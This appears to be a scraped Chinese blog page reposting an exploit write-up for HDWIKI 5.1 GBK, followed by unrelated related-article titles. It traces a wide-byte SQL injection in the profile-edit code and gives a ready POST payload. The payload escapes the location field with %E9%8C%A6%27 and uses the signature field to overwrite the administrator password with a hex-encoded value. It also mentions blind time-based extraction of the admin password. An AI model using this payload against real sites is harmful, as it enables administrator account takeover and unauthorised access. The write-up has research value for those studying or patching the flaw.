问题出在\hdwiki\control\user.php下最新版HDWIKI 5.1 GBK版本HDWIKI全局过滤,但是面对宽字节注入,就容易出问题了

function doeditprofile(){

if(isset($this->post['submit'])){

$gender = intval($this->post['gender']);

$birthday = strtotime($this->post['birthday']);

$location = $this->post['location'];

$signature = $this->post['signature'];

if (WIKI_CHARSET == 'GBK'){

$location = string::hiconv($location);

$signature = string::hiconv($signature);

}

$location = htmlspecialchars($location);

$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));$_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']);

}else{

if(0 == $this->user['birthday']){

$birthday = '';

}else{

$birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday'];

$birthday = date('Y-m-d',$birthday);

}$this->view->assign('birthday',$birthday);

//$this->view->display('editprofile');

$_ENV['block']->view('editprofile');

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

functiondoeditprofile(){

if(isset($this->post['submit'])){

$gender=intval($this->post['gender']);

$birthday=strtotime($this->post['birthday']);

$location=$this->post['location'];

$signature=$this->post['signature'];

if(WIKI_CHARSET=='GBK'){

$location=string::hiconv($location);

$signature=string::hiconv($signature);

}

$location=htmlspecialchars($location);

$signature=htmlspecialchars(str_replace(array('\n','\r'),'',$signature));$_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']);

}else{

if(0==$this->user['birthday']){

$birthday='';

}else{

$birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday'];

$birthday=date('Y-m-d',$birthday);

}$this->view->assign('birthday',$birthday);

//$this->view->display('editprofile');

$_ENV['block']->view('editprofile');

}

}

关键代码是

$location = string::hiconv($location);

$signature = string::hiconv($signature);

}

$location = htmlspecialchars($location);

$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));

1

2

3

4

5

$location=string::hiconv($location);

$signature=string::hiconv($signature);

}

$location=htmlspecialchars($location);

$signature=htmlspecialchars(str_replace(array('\n','\r'),'',$signature));

HDWIKI在大部分编码转换之后的地方都会addslashes这里我们跟进这个函数set_profile()

function set_profile($gender,$birthday,$location,$signature,$uid){

$this->db->query("UPDATE `".DB_TABLEPRE."user` SET gender = '$gender',birthday = '$birthday',location = '$location',signature = '$signature' WHERE uid = $uid");

1

2

functionset_profile($gender,$birthday,$location,$signature,$uid){

$this->db->query("UPDATE `".DB_TABLEPRE."user` SET gender = '$gender',birthday = '$birthday',location = '$location',signature = '$signature' WHERE uid = $uid");

进入mysql前并没有进行addslashes而且我们有$location,$signature思路是让location引入\注释后面的单引号 由signature来注入由于没有开display_error ,我们延时看看

我们就能盲注查询管理员密码但是有时候密码是破不出来的,怎么办呢我们其实可以替换管理员密码先说说HDWKI的表构造由于管理员和普通的账号都存储在wiki_user下,所以这里由于是update的是这个表但是问题来了我们引入password的时候 格式一般都是

password='b5ebc89058e80ef0189090a0390109e4'

1

password='b5ebc89058e80ef0189090a0390109e4'

但是这里是无法引入单引号的(会被addslashes),而不打单引号又会被当成表名,不被识别为value。这里用要一个小技巧MYSQL对十六进制是能够自动识别 转换的。比如

这样我们就能绕过单引号而update管理员密码了我们先本地用脚本转换ascii为hex

echo bin2hex($_GET[a]);

?>

1

2

3

echobin2hex($_GET[a]);

?>

然后向http://localhost/hdwiki/index.php?user-editprofilepost

gender=0&birthday=2015-02-18&location=%E9%8C%A6%27&signature=, password=0x3231323332663239376135376135613734333839346130653461383031666333#&submit=true

1

gender=0&birthday=2015-02-18&location=%E9%8C%A6%27&signature=,password=0x3231323332663239376135376135613734333839346130653461383031666333#&submit=true

成功修改密码

mysql 注入 修改密码_HDWIKI最新版Update注入可修改管理员密码(MYSQL进制技巧)相关推荐

  1. hdwiki can not connect to mysql_HDWIKI最新版Update注入可修改管理员密码(MYSQL进制技巧)...

    ### 简要描述: 最新版HDWIKI 5.1 GBK 无视GPC 上首页吧! ### 详细说明: 问题出在\hdwiki\control\user.php下 最新版HDWIKI 5.1 GBK版本 ...

  2. mysql如何重置密码 mac_如何重设忘记的Mac管理员密码

    无论是iOS还是macOS,每种Apple软件在安全性方面都是无可挑剔的.如果忘记Mac管理员密码怎么办.幸运的是,有某些方法可以重置Mac密码并重新获得访问权限.这时,了解几种重置用户密码的方法就显 ...

  3. 美萍系统服务器密码,从得到美萍计费管理专家管理员密码开始

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 系统是win2000 配有还原卡(超强叫鹏腾,哪位高人能破了他还请赐教)管理软件就 只有美萍计费管理专家v8.7 1.首先你需要准备软件有WINHEX   ...

  4. 鱼福php管理员密码修改_改无线网密码管理员密码是什么?

    问:我在修改无线网密码的时候,系统提示需要输入管理员密码,但我不知道管理员密码是什么了.知道的朋友,可以告诉我一下么? 答:路由器的管理员密码,又被叫做:登录密码:不同的路由器,管理员密码的情况不一样 ...

  5. 数据库管理员密码的设置

    数据库管理员密码的设置   表记录的格式:     一.数据库管理员密码的设置      1.设置数据库管理员的初始密码         默认情况下,数据库管理员在本机登陆时不需要密码        ...

  6. 如何通过破解hash来获取管理员密码(转)

    很多朋友问我是怎么抓对方的hash再破解的,因此这里我给大家写一篇获取管理员密码的文章,我一般不喜欢在服务器留木马或是后门,我比较喜欢利用管理员进入的方式来管理服务器. 本来想主要讲一下抓hash和跑 ...

  7. 域内计算机本地管理员密码管理

    随着互联网技术的不断发现,信息安全在企业中的受重视度也越来越高,终端管理是信息安全中至关重要的一环,不可能要求终端用户和服务器管理员有着一样的安全隐患意识和技术水平,因此在终端管理员层如何制定完善终端 ...

  8. Jenkins忘记管理员密码怎么办

    一.admin密码未更改情况 1.进入\Jenkins\secrets目录,打开initialAdminPassword文件,复制密码: 2.访问Jenkins页面,输入管理员admin,及刚才的密码 ...

  9. Rancher server 管理员密码重置

    本文永久链接: https://www.xtplayer.cn/rancher/password-reset/ 目前 Rancher 不支持通过邮件或者其他 web 方式找回密码, 如果忘记 admi ...

最新文章

  1. 办公效率提升200%,新款华为笔记本真香!送一台
  2. monocle3包的安装
  3. GitHub从入门到精通
  4. python 类-python 类如何使用
  5. Asp.net core使用IIS在windows上进行托管
  6. Spring-AOP 自动创建代理
  7. Gentoo 安装日记 13 (配置内核 :可执行文件安格式和网络)
  8. 中国六个漂亮的古镇风景名胜区网站欣赏
  9. 查询方式中断方式_【每日“一”题】中断方式
  10. openresty+mysql+乱码_openresty记录响应body乱码问题
  11. css----实现checkbox图片切换
  12. Tensorflow 加载预训练模型和保存模型
  13. Visual studio之C# 利用Settings保存COM口配置信息
  14. 马斯克辞任董事长,罚款2000万美元,钢铁侠一夜服软
  15. Java虚拟机对内部锁的四种优化方式
  16. bzoj3944 Sum
  17. python terminal_一个简单、易用的Python命令行(terminal)进度条库
  18. pythonmathcot函数_sin cos tan cot公式
  19. 数据质量检查【整理】
  20. 巴菲特十大量化选股经

热门文章

  1. 蜗居里的海藻谁演的?
  2. 几种主流数据库的压缩技术对比
  3. 树莓派上Python实现TSL2561采样光照强度
  4. ABAP 程序完成EXCEL文件的导入导出,OLE技术的应用
  5. Echarts将Y轴数据放入图表内,显示数据范围
  6. 6-7 十进制转换二进制(15 分)
  7. 如何实现GridView分页功能?
  8. adb的am start命令启动Activity报Error type 3错误
  9. Javaweb人才招聘系统
  10. DIY一个专属个人网盘